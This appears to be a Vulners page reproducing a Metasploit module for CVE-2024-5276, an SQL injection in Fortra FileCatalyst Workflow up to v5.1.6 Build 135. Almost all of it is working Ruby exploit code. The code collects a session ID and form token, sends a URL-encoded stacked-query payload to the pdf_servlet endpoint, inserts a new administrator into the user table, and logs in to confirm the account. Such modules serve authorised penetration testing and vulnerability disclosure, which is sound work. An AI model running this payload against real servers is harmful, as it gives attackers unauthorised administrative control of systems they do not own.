Lucene search
K

Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)

🗓️ 19 Aug 2024 18:51:57Reported by Tenable, Michael HeinzlType 
metasploit
 metasploit
🔗 www.rapid7.com👁 250 Views

Exploiting SQL injection in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 to add admin use

Related
Code
require 'digest/md5'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
          administrative user to the web interface of the application.
        },
        'Author' => [
          'Tenable', # Discovery and PoC
          'Michael Heinzl' # MSF Module
        ],
        'References' => [
          ['CVE', '2024-5276'],
          ['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
          ['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
        ],
        'DisclosureDate' => '2024-06-25',
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]),
      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
    ])
  end

  def run
    print_status('Starting SQL injection workflow...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'workflow/')
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
    end
    print_good('Server reachable.')

    raw_res = res.to_s
    unless raw_res =~ /JSESSIONID=(\w+);/
      fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
    end

    jsessionid = ::Regexp.last_match(1)
    print_status("JSESSIONID value: #{jsessionid}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    body = res.body
    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
    end

    token_value = ::Regexp.last_match(1)
    print_status("FCWEB.FORM.TOKEN value: #{token_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.headers['Location']
      fail_with(Failure::UnexpectedReply, 'Location header not found.')
    end

    location_value = res.headers['Location']
    print_status("Redirect #1: #{location_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, location_value.to_s),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.headers['Location']
      fail_with(Failure::UnexpectedReply, 'Location header not found.')
    end

    location_value = res.headers['Location']
    print_status("Redirect #2: #{location_value}")

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, location_value.to_s),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    html = res.get_html_document
    h2_tag = html.at_css('h2')

    unless h2_tag
      fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
    end

    h2_text = h2_tag.text.strip
    unless h2_text == 'Choose an Order Type'
      fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text)
    end

    print_status('Received expected response.')

    t = Time.now
    username = datastore['NEW_USERNAME']
    password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
    email = datastore['NEW_EMAIL']
    firstname = Faker::Name.first_name
    lastname = Faker::Name.last_name
    areacode = rand(100..999)
    exchangecode = rand(100..999)
    subscribernumber = rand(1000..9999)
    phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
                   areacode: areacode,
                   exchangecode: exchangecode,
                   subscribernumber: subscribernumber)
    creation = "+#{t.strftime('%s%L')}"
    pw_creationdate = "+#{t.strftime('%s%L')}"
    lastlogin = "+#{t.strftime('%s%L')}"

    vprint_status('Adding New Admin User:')
    vprint_status("\tUsername: #{username}")
    vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
    vprint_status("\tEmail: #{email}")
    vprint_status("\tFirstName: #{firstname}")
    vprint_status("\tLastName: #{lastname}")
    vprint_status("\tPhone: #{phone}")
    vprint_status("\tCreation: #{creation}")
    vprint_status("\tPW_CreationDate: #{pw_creationdate}")
    vprint_status("\tLastLogin: #{lastlogin}")

    payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
              'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
              'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
              'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
              'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
              'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
              "PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
              "%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
              '%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
              "%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
              '%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
              '%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
              "%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == ''
    print_good('SQL injection successful!')

    print_status('Confirming credentials...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}"
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    body = res.body
    unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
      fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
    end

    token_value = ::Regexp.last_match(1)
    print_status("FCWEB.FORM.TOKEN value: #{token_value}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
      'headers' => {
        'Cookie' => "JSESSIONID=#{jsessionid}",
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'vars_post' => {
        'username' => datastore['NEW_USERNAME'],
        'password' => datastore['NEW_PASSWORD'],
        'FCWEB.FORM.TOKEN' => token_value.to_s,
        'submit' => 'Login'
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    html = res.get_html_document
    title_block = html.at_css('.titleBlock')

    unless title_block
      fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
    end
    title_text = title_block.text.strip

    unless title_text.include?('Administration')
      fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
    end
    store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
    print_good('Login successful!')

    print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
    print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}")
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation